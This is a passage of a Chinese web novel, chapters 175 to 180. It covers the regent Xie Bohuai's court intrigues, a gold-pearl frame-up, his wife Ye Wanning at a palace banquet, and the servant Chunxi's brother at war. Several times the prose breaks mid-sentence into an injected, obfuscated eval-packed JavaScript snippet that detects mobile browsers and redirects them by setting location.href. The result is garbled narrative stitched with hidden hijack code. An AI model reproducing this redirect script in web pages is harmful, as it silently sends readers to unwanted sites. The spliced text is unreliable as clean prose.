司砚看了眼主子,有个事,尽管是他,也没想太明白,“我有一件事不太明白,是……” “是关于清剿逆王的吧?”谢泊淮问。 “嗯,大人有能两全的法子,为何不直接与皇上说?”司砚对此,不太明白。他想了又想,总是有地方想不通,既然如此,直接来询问便是最好的,毕竟他是主子身边的人,得知道主子的想法,才能把事情办好。 第175章 大人的笑变多了 “逆王不剿,终究是个祸患,百姓们就过不上安定的日子。与其费时费力去周旋,倒不如一鼓作气拿下逆王。 谢泊淮看完手里的折子,“况且,我给皇上一个好名声,他得了声望和拥戴,接下来他最大的心病是不是轮到我了? 听到这话,司砚顿时明白,“没了外患,只剩您了。皇上不是先帝,不会完全信任您,到时候处处掣肘,您便难在摄政王的位置继续干。就算皇上没有其他的想法,太子也不是个会信任人的人。从皇上登基后,太子处处都想掺和进去,恨不得把他的人安排到每个角落。 “这也正常,先帝在的时候,皇上和太子比较低调,没有自己的人,现在不好办事,自然想多一点能用的人。谢泊淮对此表示理解。 不过理解归理解,他现在是有家室的人,不仅仅是为了保全自己的权势,更是为了身后的家人。 朝堂上没有永远的朋友和敌人,只有一直的较量与平衡。 谢泊淮不在高处待着,那就死路一条。 而且要全皇上仁君的名声,必定要推一个人出来挨骂。以前肯定是谢泊淮,但他现在不会了,顶着一个坏名声,实在不好办事。 他现在,必须要处处周全,事事不留把柄。 司砚心中有数,不再追问出兵的事,“还是大人高明。 “没什么高不高明的,既然要活着,就得好好活着。这里是几个人的名单,他们私下里动作不断,都是想要我死的人,让镇府司去寻他们的错处。谢泊淮没想过当皇帝,他要是谋朝篡位,还真难善终。但是当个一人之下的权臣,也是一样的,朝政还是掌控在他手里。 等司砚走后,谢泊淮看着面前如山一样的折子,继续看了起来。 之前先帝在的时候,因为身体不佳,各地送来的折子,都是先到谢泊淮这里。 其实这两年,各地的经济发展都好了许多,谢泊淮减少税收,重用人才,打压了世家门阀,于百姓而言是好事。只是对于世家来说,他们家中平庸的子弟不得已买官,影响了世家的利益,故而非常憎恨谢泊淮,都想谢泊淮快点完蛋。 以前谢泊淮才不在乎这些事,有本事就和他斗,看看谁先死。 现在不一样了,谢泊淮处理完一整天的事务,回家的步伐都是轻快的。 以前回家,只是吃饭睡觉,像是一个客栈的地方,都谈不上家。 现在家中有等吃饭的人,还有可爱的孩子,若是早点回去,乐哥儿会欢喜地说一天里学了什么,还会央求 谢泊淮给他买什么,叶婉宁则是坐在一旁浅浅笑着。 想到这一幕,谢泊淮骑马快了些,等他到家时,门房笑盈盈地说府里有好事发生。 他大步迈过门槛,瞧见云芝端着喜饼,问是什么事,云芝说是宫里来了旨意,夫人得了二品诰命。 “这都是倚仗老爷的本事,夫人才有今天的诰命。夫人说了,等您回来,让您去正院,今儿她亲自下厨。”云芝正好要去正院,与主子一块过去。 对于诰命,谢泊淮并不惊讶,以他的身份和地位,皇上迟早会给叶婉宁诰命。 等他到了正院,瞧见叶婉宁带着乐哥儿在看圣旨,他走到两人边上,“有那么好看吗?” “我还是头一回看到诰命的圣旨,以前都是听旁人说,现在自己摸到,感觉好不一样。”叶婉宁说没非常兴奋,就是觉得这个圣旨来得不真实,“我什么都没做,就得了个二品诰命,都是沾了你的光。” “只是二品而已,以后还会有更好的。”谢泊淮看叶婉宁高兴,他也自然而然地跟着笑。想来是皇上今日想着给他甜头,但是不想再给他放权,就给叶婉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170524|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁一个奖赏。 叶婉宁说不敢想,“我对一品诰命那些,并不看重,咱们都平平安安的才是最好。你快去洗手,我今日炖了羊肉,还炸了酥肉,乐哥儿早就馋了,一直问你什么时候回来。” 乐哥儿摸着小肚子,“是啊,我的肚子都咕咕叫了。母亲做的炸酥肉最好吃了,云芝姐姐她们都做不出那个味道,咱们今日有口福了。” 跟着余庆生读书后,乐哥儿说话少了些孩子气,越来越有腔调。叶婉宁看在眼里,是有些感慨的,但他们母子跟了谢泊淮,就不可能再过天真烂漫的日子,乐哥儿需要自己有本事才行。 所以感叹归感叹,叶婉宁并没有干预余庆生的教学,今日做的饭菜,她还让福生送一份过去,表示心意。 “都是一些家常菜,是乐哥儿夸张了。”叶婉宁带着儿子坐下。 谢泊淮看着一桌子丰盛的饭菜,心里暖融融的,“我看着都好,我还是第一次尝你的收益。嗯,好吃,乐哥儿说的是实话!” “我就说母亲厨艺好,没有骗人的!”乐哥儿欢喜地夹菜。 一家三口其乐融融,听得经过门口的司砚特别羡慕,和边上的青山两人道,“自从大人成婚后,脸上的笑容都多了,人也好说话些,对我们也多了些耐心。真好啊,有媳妇孩子,吃青菜也是香的。” 折竹默默地点了点头。 青山则是道,“青菜就是青菜,哪里会香。我看你啊,是思春了,像夜里发春的猫,一天天地想成亲。” “对啊,我就是想成亲,你不想?”司砚哼了哼,他都二十几岁了,别人这个年纪,早当爹了。 “我不想,我就是打一辈子光棍都行,只要能跟着大人办事,我成不成亲无所谓。”青山刚说完,就看到春喜从对面过来,但春喜现在不搭理他,看了他一眼,转身拐到另一条路去。 第176章 姐弟 不仅是春喜不搭理青山云芝几个陪嫁丫鬟见了青山都不说话了她们和春喜同仇敌忾都觉得青山是个笨蛋没眼光。 连带着司砚这些人也受到了区别对待。 以前云芝她们做吃的也会送他们一份现在都没了。 就比如这会春喜她们在一块吃夫人做的羊肉司砚他们就没份。 两边院子没多远羊肉在炭火炉子上飘过来的香味青山闻得直流口水。 “怎么我们这没羊肉?”青山很不解看着面前的白饭和青菜还有一盘炒肉“不应该是整个府上都加菜吗?” 司砚哼了一声嘴里寡淡得很“夫人做的羊肉我们哪里有份?” “为何云芝他们有?”青山觉得夫人偏心他们跟着大人也该对他们好点才是。 “你能和人比吗?”司砚白了青山一眼懒得和青山废话多说都是浪费口舌。 另一边云芝几个吃着热腾腾的羊肉铜锅春喜一口气吃了两碗饭。 “你今日好厉害。”云芝叹了句。 “不多吃点哪里有力气干活?”春喜最后喝一碗羊肉汤“在我们村里能吃是福吃饱喝足才能下地干活。虽然府里不用我干粗活那我也得把身板养壮实点你们也是别为了身姿苗条就饿着不多吃。” 云芝这些都是叶府里长大的丫头和春喜不太一样有人羡慕地看着春喜“春喜姐姐还是你心态好。” “我这哪算好你们快吃吧我已经和夫人告假我得去看我弟弟一趟。”春喜记挂着弟弟加上乐哥儿开始读书余先生不让人一直陪着春喜的时间多了。 擦了擦嘴 春喜会骑马和管事的要了马一路往军营去。 “我找陈家和我是他姐姐。”春喜和门口的守卫说话时掏出两块白面饼递了过去“麻烦大哥帮我喊一声或者放我进去我给我弟弟送点东西就走。” “军营哪能放你随便进去你在这里等着我让人帮你喊。”守卫军士吃了春喜的白面饼随便喊了个人去找春喜弟弟。 估摸着一刻钟春喜看到晒得黑不溜秋的弟弟跑过来眼眶瞬间湿了。 姐弟俩到河边的树荫下坐着春喜拿出吃的“确实高了好些但人怎么黑成这样?” “没事姐大家都这样风吹日晒的自然黑。黑一 点算不了什么我们百户很看重我说我能吃苦还机灵。姐这是什么肉真好吃!”陈家和一口白面饼一口肉。 “是酱牛肉我跟着厨娘做的你正在长……我不吃我在谢府吃过了这是特意给你留的。”春喜歪过头让弟弟自己吃“听话你多吃点才能长得又高又壮!” “我一定会努力的。等我当了百户我就租个小院把俸禄都给你把你接出来享福!”陈家和想到以后眼睛不由自主地弯了起来。 少年人对未来很有盼头每天都在努力读书练武就为了能有出息。 “我在谢府就很舒服每天只要照顾乐哥儿乐哥儿又懂事比以前在家里还要轻松。”说到家里春喜想起了爹娘忍不住想哭。 她爹娘就是很寻常的人勤勤恳恳种田母亲会为了还可以的收成高兴也会因为她和弟弟下河摸鱼而担忧骂人。父亲话不多但大部分时候都很和蔼农闲时会上山放架子如果运气好能抓到野兔和山鸡母亲那一天都会哼着歌谣。 但是原本平静的日子结束在一次的灾难中父亲母亲把口粮留给他们最后活活累死。 春喜抬手擦了眼角的泪珠“你不用替我担心夫人对我很好。你只要照顾好自己我不用你多有本事只要你平安记住没?” “我记住了姐我会变得很厉害的一定会的!”陈家和知道姐姐的不容易 春喜笑着揉揉弟弟的头她拍拍裤腿起来“行了我得趁着天黑前回去。有什么事派人到谢府找我等我得空了再来看你。” 她送弟弟回军营忍不住又交代几句才骑马回京城。 而陈家和的几个朋友看到春喜以为是陈家和的小媳妇纷纷打趣。 “别乱说那是我姐。”陈家和把姐姐带来的酱牛肉分给朋友这可是好东西军营里吃不到。 几个朋友一听是陈家和姐姐立马有人追问“家和你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170525|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么黑你姐姐怎么怪好看的?她多大了有没有定亲?” “是啊家和你姐姐还会骑马真飒啊她定亲没有?” “干嘛?你们可配不上我姐都别想了!”陈家和这才想到姐姐好像也长高一些变成大姑娘了。如果爹娘还在应该忙着给姐姐说亲了。 说亲? 等他再厉害一点吧他要快点当上百户再给姐姐说亲也能说好一点。 陈家和在心中暗暗发誓一 定要出人头地,故而在他所属的百户长要跟随陆将军南下清剿逆王时,陈家和第一个报了名。 只有上了战场,才能建功立业,有机会升官! 另一边,春喜回到谢府,日子还是和之前一样,每天接送乐哥儿上下学。 日子过了两个月,初夏时节,前线告捷,陆丰年连拿五城,打得逆王节节败退。 春喜从得知弟弟上了前线,每天都在替弟弟祈祷,等她收到弟弟的信,紧张到手抖,还是让云芝帮忙,才撕开信封。 “云芝姐姐,我弟弟写了什么?” “是好事,你弟弟说他运气好,抓到了一个逃跑的将军,被提拔为百户。他说他出息了,是最年轻的百户,让你等着跟他享福。”云芝笑着道。 春喜自己不认识几个字,信上内容都看不全,但还是拿着信看了又看,最后喜极而泣,“我哪里要他出息,我就他这么一个弟弟了,只要他平安就好。” “这是好事,男儿就该志在四方,家和也是我看着长大的,他有上进心是好的。”云芝宽慰着春喜,拍了拍春喜的背,“快别哭了,我听夫人说,这场战事快结束了,左右就在这一个月。” 这事是谢泊淮和叶婉宁说的,逆王不成气候,本就是突然起兵,加上内部争吵不断,不管是策略,还是兵力,都不如陆丰年带的队伍。 叶婉宁听了后,默默松了口气,能快点结束,也是好的。 就在这时,有朝臣弹劾谢泊淮,说他贪污腐败,纵容下属强买田地。皇上看到折子后,立马召见谢泊淮。 第177章 清点库房 “朕是相信爱卿的只是周尚书的折子里人证物证都有朕让你来就是想你看看到底是怎么回事?”皇上面对谢泊淮语气还是很温和。 前段时间由谢泊淮经手的冲积平原造田已经完成后来由当地官员去租给百姓耕种等收完三年租金后再出售给百姓们。 现在怎么成了谢泊淮的人强买田地? 根本就没开始出售啊? 谢泊淮看完周尚书的折子“回禀皇上当时的折子写的是租三年再出售。折子上弹劾的孟非池曾经确实是镇府司的人但此人早些年受伤不能动刀已经领了钱归乡。他买田地的事微臣确实不知。” “朕就知道你不会参与其中。”皇上松了一口气“此事本来是利民利国的好事却出了个强买田地的事还是要查清楚的好不然引起百姓公愤那就不好了。” “微臣明白微臣会亲自前往一趟看看到底怎么回事。”谢泊淮想到折子上写着孟非池每年会给他送礼回谢府后便找来折竹问库房的事。 “大人库房钥匙已经给了夫人您若是要开库房得去找夫人。”折竹道。 谢泊淮又去找了叶婉宁云芝带着他们去库房外边人送来的东西都会登记造册以后好还礼。 云芝找到一个紫檀色的木箱“去年记载的是孟家派人送来一盒珍珠。当时夫人有问过您 说着云芝打开木盒却愣住了。 当时送来的珍珠云芝有看过就是很普通的珍珠品相还不太好值不了什么钱。现在再打开珍珠外边好像包裹一层粉末她伸手一捏粉末便随之掉落转而露出金灿灿的金珠。 叶婉宁眉头紧皱“春喜你在门口守着谁也不能放进来。” 云芝急忙解释“大人夫人我当时收的时候明明是一盒珍珠怎么会变成金珠?” 这个事就是叶婉宁都看明白了“怕是有人要嫁祸大人用珍珠粉裹住金珠假装不值钱的珍珠送进来。大人和镇府司兄弟关系好平日里来往的也就只有镇府司的那些人。亲朋好友之间逢年过节送些节礼是再正常不过的事现在是被人钻了空子。大人既然孟非池留了这一手如果不是有人特意针对那孟非池也会用这个要挟。” 最好没有其他人不然这人太可怕了提前那么久做铺垫还是在谢泊淮眼皮子底 下,心思太缜密了。 谢泊淮对镇府司的人,一直信赖有加,就算是离开镇府司的弟兄,只要一句话,他都会能帮就帮。毕竟是一起出生入死过的兄弟,他记着这份情意。 但谢泊淮为数不多的感情,却被人利用,他这会的脸色非常差。 东西是云芝收的,她知道事情麻烦了,记得快哭了,“那现在怎么办? 叶婉宁道,“不管这是不是金珠,既然当初送来时是珍珠的样子,那就咬定是珍珠。还有以前的东西,全都找出来仔仔细细地查一遍,别给人留下马脚。再去看谢泊淮,“不管孟非池出于什么目的,大人此番过去,最好能有个人说得上话的人同行,不然就算您自证清白,朝堂上的人也会说是您使了手段。 要怪就怪谢泊淮的名声太差了,在世人眼里,谢泊淮就是个什么事都可以做出来的人。 大部分人都不敢和谢泊淮对着干,也就周尚书这个半截入黄土的人,反正都快死了,看谢泊淮不顺眼,既然有了人证物证,更要弹劾了。 “我知道了,此事既然是周尚书弹劾,那就由他跟我一起去最好了。谢泊淮道。 “他都一把年纪了,经得起折腾吗?叶婉宁有点担心,若是周尚书死在半路中,或者出现什么意外,谢泊淮跳进黄河也洗不清。 谢泊淮冷笑一下,“就他骂我时的中气,好着呢。而且他也怕我使手段,肯定愿意跟着去。我还没死,周尚书不舍得闭眼的。 有了主意,谢泊淮去上折子。 叶婉宁则是带着云芝和春喜,在库房一个个清点起来。 隔壁院子,没等到春喜来接人的乐哥儿,打算自个儿回去时,被余庆生叫住了。 “那个叫春喜的,不是说今日送点心来,怎么不见她来?余庆生说话时,下意识咽口水。 “春喜姐姐向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170526|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说话算话,既然没来,必定是有更重要的事。先生若是想知道,学生待会去问问,明儿来与您说。乐哥儿道。 “谁稀罕知道,我只是讨厌言而无信的人。 “但是有时候,就是会突然出现意外,先生此生都没失信过吗?乐哥儿脱口而出,反而让余庆生愣住了。 余庆生对着乐哥儿摆摆手,“行了,不与你这小毛孩理论。你快回去吧,搞得像我想吃芋头饼了一样。 “学生知道了,您还是惦记着春喜姐姐的点心。您不是说,做人要直言不讳,心里想什么就说什么?乐哥儿不仅没走,还往前凑了过去,“您想吃就直说啊 ,学生可以拜托春喜姐姐给您做的。” “没有,我才没有,我一个大男人,哪里会为了点吃食而多嘴。行了,你快走吧,看到你就讨厌,和你爹一样嘴上不饶人。”余庆生烦躁地用扇子扇风。 结果乐哥儿眼眶红了,被余庆生打手板心没哭,罚抄书也没哭,现在被说讨厌,小嘴巴巴地撅了起来,一屁股坐在地上。 他也不说话,就默默掉眼泪。 等余庆生听到小小声的抽泣,回头看到乐哥儿在哭,瞬间慌张了。他没当过爹,也没哄过小孩子,要不是谢泊淮逼他家当教书先生,他这会还在本家私塾里当先生。在本家私塾,每个孩子都怕他,他说什么是什么,哪里需要他去哄。 “你哭什么?我又没打你。” “先生讨厌我。”乐哥儿很委屈,“您教的,我都学会了。您却因为没吃到春喜姐姐做的点心讨厌我,我心里难受。” “你这小孩,我哪里是因为没吃到点心……哎呦喂,快别哭了,待会被人瞧见,还以为是我欺负你。”余庆生跑了过去。 乐哥儿却不愿意起来,“您为什么讨厌我?” “我没有讨厌,行了吧?”余庆生哄了好一会儿,头都大了,心想这小孩确实和谢泊淮一样讨人厌。但是一直看着乐哥儿哭,他又烦躁,左等右等没等来春喜接人,只好自己抱着乐哥儿去隔壁院子。 第178章 宫宴遇赵川 余庆生到隔壁时没瞧见春喜只看到了折竹 “大人出门去了。”折竹道。 “一天到晚不着家真不懂他谢泊淮折腾什么又不是他的皇位那么上心小心被人过河拆桥!”余庆生也不怕隔墙有耳这里是谢泊淮的地盘要是谢泊淮这点本事都没有早就被人弄死了。 折竹接过乐哥儿眉头直跳奈何对方是教书先生只好笑着送人离开。 乐哥儿说要找母亲折竹哄着人去吃东西。 等叶婉宁清点完库房已经天黑了乐哥儿早就睡了叶婉宁则是等着谢泊淮回来才一块儿用了点饭。 谢泊淮说明日一早就走“周尚书听到我让他去他激动得很一家子来劝都没用。” 叶婉宁不用想也知道是什么场面“我能想到毕竟周尚书年纪确实大了。” 两人说了两句话等吹灭了蜡烛后谢泊淮突然道“婉宁你为何这般信我?” “因为我看到的是眼前的你我有我自己的辨别能力。你是好是坏我可以分辨清楚。”叶婉宁侧身躺着能感受到身边人的气息。 此时谢泊淮在笑在叶婉宁心里他是个好的她不怕他了。 这是个好的讯息。 谢泊淮这一晚睡得特别香次日他给叶婉宁留了一封信“有事再打开信不然不要打开。”他很郑重叶婉宁点头答应了下来。 等谢泊淮走后叶婉宁是想关门谢客外边人说谢泊淮什么的都有好些人相信谢泊淮真的贪污受贿了。 她不乐意听那些难听的话便不想去搭理他们。 但是国丧过了正好要到端午宫里来了旨意让二品以上的官员带夫人进宫赴宴。 谢泊淮不在家只有一个叶婉宁她本想称病不去但皇后娘娘特意派了人来询问也就不得不去了。 端午宫宴这日叶婉宁卡着时辰不早不晚地下了马车她一下马车就吸引了所有人的目光。 大家都要步行进宫大部分人都不愿意过来套近乎只有纯王妃过来搭话。 纯王是皇上长子但是庶出他母妃是婢女出身故而纯王地位不算太高。能封王只是因为他占了长子的身份。 纯王妃余氏容貌一般但笑容很有亲和力“早就听闻谢夫人艳冠京城今日凑近了看还真让人挪不开眼。” “王妃谬赞了您才是天人之姿 。”叶婉宁浅笑搭话。 “我真不是夸张,放眼整个京城,再没有比你生得更好的。谢大人好福气,能有你这样的贤内助,不像我,出身一般,也没见过太多大场面。说句不怕你笑话的话,今儿出门前,我都在打抖呢。”纯王妃好似没设防,第一次见叶婉宁,就说着很亲密的话。 叶婉宁有些不习惯,但对方身份在,她只能配合地聊着。 等二人到了内宫,早有人在门口等着,说是羲和公主身边的人。 叶婉宁跟着宫人见到了羲和公主,羲和公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170527|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知叶婉宁和纯王妃一块进宫的,拉着人念叨起来,“你怎么和她一起来?她是不是和你说,她见识小,不习惯大场面,害怕得很?” “还真是。” “哼,我就知道她狗改不了吃屎。我和你说,她就不是个好的,她男人巴巴地望着我哥哥的太子之位呢。散步一些长子为尊的话,真当别人都是蠢货。”羲和公主很是不屑。 而叶婉宁听着羲和公主骂人的口吻,转而笑了起来,“听殿下能骂人,想来是养好了。” “什么养好?你说何家的事?我早就过去了。”羲和公主道,“要不是母后非要拘着我,说我不好表现出太高兴,我一早就去找你玩了。奈何母后给我施压,让我在宫里天天绣花看书,你瞧瞧,我的纤纤玉指都快被针扎成筛子了!” 她伸出手,让叶婉宁看。 叶婉宁瞧了瞧,“哪里有筛子?殿下夸张了。您今儿打扮得真好,这是南疆上供的和田玉吧?” “是啊,你喜欢吗?我那里还有。我悄悄与你说,其实今儿个,是母后想帮我相看亲事。她怕大臣们送我去和亲,趁着宫宴,看看有没有合适的人家。”羲和自己不着急,但她害怕和亲,这才愿意配合。 说话间,两个人到了大殿,羲和公主扫了眼大殿里的人,“哟,今年的一甲进士都来了啊,母后也忒心急了。” 叶婉宁顺着羲和公主说的看过去,好巧不巧,正好与赵川的目光对上。 第179章 想当年! 步摇生姿叶婉宁还是那个叶婉宁她的容貌总是让人过目不忘。 赵川看得眼睛都直了以为是幻觉等他再去找人确实没找到但边上的同僚说了句“你快收回你的眼珠子那可是谢大人不想死的话就别看了我们这种人得罪不起谢泊淮的。” “谢夫人?” “对啊你刚刚看的不是谢夫人吗?难不成你相中羲和公主了?”同僚说到这个也觉得可能他们都是新科进士羲和公主刚和离如果赵川想攀龙附凤是可以当驸马。 赵川想说自己没有攀高枝的心但话到嘴边就成了他在看谢夫人怎么说都不对干脆不说了而是在人群里搜寻着人。 奈何宫宴太多人一时间赵川没找到叶婉宁皇上和皇后娘娘反而先来了。 此时的叶婉宁跪在人群中她的一颗心提到了嗓子眼。 她都避了又避能不出门就尽量不出门却还是躲不开。 可以肯定赵川认出她了。 听到皇上和皇后娘娘让众人起身叶婉宁才虚虚地站起来 待坐下后叶婉宁便察觉到一束炙热的时间已经避无可避只能硬着头皮当做没看到。 “方才母后与我说新科进士里有个叫赵川的长得还不错学问也可以最好的好处是无父无母不用再为了亲戚公婆而争吵。就是这个人有一点不好嘴巴臭得罪了不少人。还有一个叫……” 羲和公主说了好几个人叶婉宁只记得赵川“那殿下有看上的吗?” “我感觉都一般现在没有特别的想法。不过我挺好奇赵川是怎么骂人的能让我母后都有所耳闻想来是个奇男子。”羲和公主说着往人群里看去正好瞧见了赵川见他直勾勾地看着这边啧了一声“不会是母后暗示过他他已经看上我了吧?” 叶婉宁勉强地笑着道“应该不是皇后娘娘肯定要先问了你的意思再去见他们。” “那他为何一直看着我们这边?” “或许是他眼神有问题不懂规矩。”叶婉宁作出不喜的样子羲和公主听了后哼了哼说确实没规矩。 两个人在窃窃私语过了会就有人来打扰敬酒但大部分都是敬羲和公主。 对于叶婉宁宗妇们早就得过交代不许和叶婉宁太亲近。 能来宫宴的都是二品以上的大臣和朝廷命妇大多有家底在不用刻意讨好谁也 能维持家族体面。 而他们之中大部分人都惧怕且鄙夷谢泊淮不想刻意讨好谢泊淮甚至不想和谢泊淮有关系。大家私下里都盼着谢泊淮倒霉所以这会也都避开叶婉宁 有的人是看不上叶婉宁带孩子二嫁也有的是因为谢泊淮还有的是暗藏心中的嫉妒觉得叶婉宁只有美貌凭什么能得到今天的地位? 尽管有人来和羲和公主说话但大家都不太主动和叶婉宁说话弄得羲和公主都尴尬起来。 有时羲和公主主动拉叶婉宁进话题那些妇人立马淡了下来说不了几句就走了。 “殿下我去那边坐坐。”叶婉宁不想再被人打量小声说了句。 “我和你一起!” “不用了殿下您先忙我去吹吹风。”叶婉宁按住了羲和公主的手“不用了殿下您看那么多人巴巴地等着您就放过我吧。” 她作出求饶状趁着羲和公主被人拉着说话赶忙逃了。 宫宴不能乱走若是跑没人地方去被当做细作之类的说不清楚。 叶婉宁就在最边上望着窗外的明月想着谢泊淮这会到了没。 此时的谢泊淮已经不在官道的队伍中他带着周尚书换了衣裳改走小路。 周尚书一把老骨头更多时候都是青山背着。 今儿虽是端午他们却宿在郊外的一个山洞耳边是蛙鸣鸟叫。 三个人围着火堆周尚书吃着干巴巴的馍馍好半天才咽下去“老了真的是老了啊。想当年上京赶考时我也是在野外露宿过的。那时候和路上遇到的学子结伴而行大家伙有个伴还能抵挡山匪那些。老夫年轻时刻苦用功才成为我们当地的第一个进士。” 青山听到这里忍不住问了句“那之后呢还有吗?” “当然。”说到这个周尚书就很自豪“自从老夫入朝为官后就在家乡开设学堂只要有天分又肯吃苦的带着自己的干粮就能来读书。若是再有本事的能考中举人便会到老夫家中读书。从学堂开设至今先后有三人考中进士。” 对于一个县城来说能出四个进 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“就算当爹的有再多不是,你们也不该如此,太过分了!” “周尚书,你要是中气那么好,我们继续赶路。”谢泊淮转头看过来,“今儿可是端午,山林里是有豺狼蛇鼠的。” “哼,少吓唬我,我又不是那些从小养尊处优的公子哥。你不想听,我还不乐意说,不过我还是要再说一句,谢泊淮你……” 没等周尚书说完,谢泊淮起身走了。 这时青山也跟了上去,四周黑漆漆一片,只剩下周尚书一个人。 不知是不是真的有狼,周尚书好像听到狼群的低吟。 “谢泊淮,你快回来,这次老夫真的不说了!”周尚书往火堆里多加了些木柴。 不远处的青山乐得捂嘴偷笑,“大人,这老头也知道怕呢。”又学狼叫了两声。 黑暗中,谢泊淮轻轻抬眉,今儿可是端午,不知婉宁此时在做什么? 此时此刻的叶婉宁,估摸着宫宴快结束,准备回去找羲和公主时,又被纯王妃给缠上了。 第180章 赵川:“谢夫人。” “我都听说了谢夫人别在意那些人的闲言碎语左右不过是羡慕你。” 纯王妃说着又叹口气“不过像我们这种一般人家出来的确实融合不进去。我也是不容易最开始的赐婚我们家都很意外后来更想不到皇上有大造化。现在要我学着做宗妇我还真吃力总会惹人笑话。想来你是最能懂我的。” 叶婉宁好歹活了两辈子的人纯王妃的刻意接近她还是看得出来的就是纯王妃的脑袋不够聪明总要说点让人不喜欢听的话。 “其实王妃人各有命您不去在意就好了。我是不会往心里去的不重要的人无关紧要的事都影响不到我的吃吃喝喝。您已经贵为王妃也说了是那些人嫉妒您何必想那么多?” “话是这么说没错可咱们活在京城这种地方王爷又是那么尊贵总不能关起门来谁也不管吧?”纯王妃问。 叶婉宁却说可以“只要你们想也是可以的。天下有皇上和太子在王爷若是愿意做个消散王爷你们日子也会很好过。说起来我很羡慕你们至少啊没那么多人敢到你们面前说是非。” 叶婉宁浅浅笑着语气也很好叫人挑不出错来。 在纯王妃愣住瞬间叶婉宁接机走了这才得以喘口气。 云芝在边上小声道“这个纯王妃看来是有意拉拢您和大人。” “朝堂的事有大人我们不去插手但也不能拖后腿。”叶婉宁说完示意云芝不要说话了身边有人来了。 本来争夺一个王位纯王夫妇没那个想法也太难办到。但是皇位的诱惑太大了加上之前贤王等人的势力无处依靠正好捧起纯王让纯王以为自己有了争一争的资本。 想到这些事叶婉宁就头疼。 皇位到底有什么好的? 一个个为了皇位头破血流至今陆将军还带兵没回来。 到了差不多该出宫的时候叶婉宁先去和羲和公主打招呼正好羲和公主在内室和皇后娘娘说话叶婉宁顺便给皇后娘娘请安。 “是婉宁啊方才本宫还问羲和你去了哪里。”皇后娘娘亲昵地看着叶婉宁“本宫看你憔悴不少是不是担忧谢泊淮?” 叶婉宁说是。 “其实本宫和皇上都信任他想来是有人从中作梗你不用太担心。能得先帝重用的人 “谢泊淮本事大天底下没有他办不成的事。”羲和公主有话想和叶婉宁说匆匆告别后 ,拉着叶婉宁往外走,“我问你,你嫁给谢泊淮后,是不是对他动心了?” 她早就想问这个了,但是一直没机会,正好这会送叶婉宁走一段路。 “殿下问这个做什么?”叶婉宁问。 “关心你嘛,以前你不是挺怕谢泊淮的,现在成了他夫人,我希望你能幸福才问一下。方才看你牵挂他,难不成你们真的两情相悦起来?”羲和公主很紧张地看着叶婉宁。 这种事,否认了有太多麻烦,而且叶婉宁已经和谢泊淮是一条船上的人。羲和公主这人心思单纯,还是别让她想太多,叶婉宁轻轻地“嗯”了一声。 “真的啊?”羲和公主眼睛瞬间亮了起来,“红梅,你去和母后说,我今日跟着婉宁一块回去。”她想听叶婉宁说说,都是怎么相处的。她是真想不到,谢泊淮那个人,是哪里吸引了婉宁。 羲和公主八卦的心情快要溢出来。 红梅为难地看着主子,“殿下,这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170529|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥吧?皇后娘娘不让您出宫的。” 叶婉宁怕羲和公主真的跟着出去问个不停,赶忙道,“是啊殿下,今日也太迟了,咱们改日吧。而且这种事没什么好说,就那么一回事,没什么特别的。” “啊?”羲和公主小脸立马耷下来,“可那是谢泊淮诶,那么一个冷酷无情的人,真的让人很好奇。” 